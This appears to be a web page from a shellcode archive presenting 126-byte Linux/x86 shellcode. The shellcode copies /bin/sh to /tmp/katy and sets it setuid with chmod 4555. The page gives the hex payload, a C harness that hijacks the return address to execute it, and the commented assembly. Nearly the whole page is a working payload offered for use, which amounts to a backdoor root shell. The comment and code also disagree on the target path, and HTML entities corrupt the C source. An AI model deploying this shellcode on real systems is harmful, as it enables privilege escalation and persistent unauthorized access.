

```
<html><head><title>Linux/x86 - /bin/cp /bin/sh /tmp/katy & chmod 4555 - 126
bytes</title>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<meta http-equiv="Content-Language" content="en" />
</head>
```

```
<pre>
/*
 * Linux/x86
 *
 * /bin/cp /bin/sh /tmp/katy ; chmod 4555 /tmp/sh using fork()
 */
#include &quot;stdio.h&quot;
```

```
char shellcode[] =
&quot;\xeb\x5e\x5f\x31\xc0\x88\x47\x07\x88\x47\x0f\x88\x47\x19\x89\x7f&quot;
&quot;\x1a\x8d\x77\x08\x89\x77\x1e\x31\xf6\x8d\x77\x10\x89\x77\x22\x89&quot;
&quot;\x47\x26\x89\xfb\x8d\x4f\x1a\x8d\x57\x26\x31\xc0\xb0\x02\xcd\x80&quot;
&quot;\x31\xf6\x39\xc6\x75\x06\xb0\x0b\xcd\x80\xeb\x1d\x31\xd2\x31\xc0&quot;
&quot;\x31\xdb\x4b\x8d\x4f\x26\xb0\x07\xcd\x80\x31\xc0\x8d\x5f\x10\x31&quot;
&quot;\xc9\x66\xb9\x6d\x09\xb0\x0f\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80&quot;
&quot;\xe8\x9d\xff\xff\xff/bin/cp8/bin/sh8/tmp/katy&quot;;
```

```
main() {
    int *ret;
    ret=(int *)&ret +2;
    printf(&quot;Shellcode lenght=%d\n&quot;;, strlen(shellcode));
    (*ret) = (int)shellcode;
}
```

```
/* Code */
/*
__asm__(&quot;
    jmp    0x5e
    popl   %edi
    xorl   %eax,%eax
    movb   %al,0x7(%edi)
    movb   %al,0xf(%edi)
    movb   %al,0x19(%edi)
    movl   %edi,0x1a(%edi)
    leal   0x8(%edi),%esi
    movl   %esi,0x1e(%edi)
    xorl   %esi,%esi
    leal   0x10(%edi),%esi
    movl   %esi,0x22(%edi)
    movl   %eax,0x26(%edi)
    movl   %edi,%ebx
    leal   0x1a(%edi),%ecx
    leal   0x26(%edi),%edx
    xorl   %eax,%eax
    movb   $0x2,%al
    int    $0x80
    xorl   %esi,%esi
    cmpl   %eax,%esi
    jne    0x6
    movb   $0xb,%al
    int    $0x80
```

```

    jmp     0x1d
    xorl   %edx,%edx
    xorl   %eax,%eax
    xorl   %ebx,%ebx
    dec    %ebx
    leal   0x26(%edi),%ecx
    movb   $0x7,%al
    int    $0x80
    xorl   %eax,%eax
    leal   0x10(%edi),%ebx
    xorl   %ecx,%ecx
    movw   $0x96d,%cx
    movb   $0xf,%al
    int    $0x80
    xorl   %eax,%eax
    inc    %eax
    xorl   %ebx,%ebx
    int    $0x80
    call   -0x63
    .ascii "\&quot;/bin/cp8/bin/sh8/tmp/katy\&quot;
&quot;));
*/

/*
RaiSe &lt; raise@undersec.com &gt;
http://www.undersec.com
*/

```

```

<body><script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." :
"http://www.");
document.write(unescape("%3Cscript src=%27" + gaJsHost + "google-
analytics.com/ga.js%27 type=%27text/javascript%27%3E%3C/script%3E"));
</script>

```

```

<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-6809519-1");
pageTracker._trackPageview();
} catch(err) {}</script></body></html>

```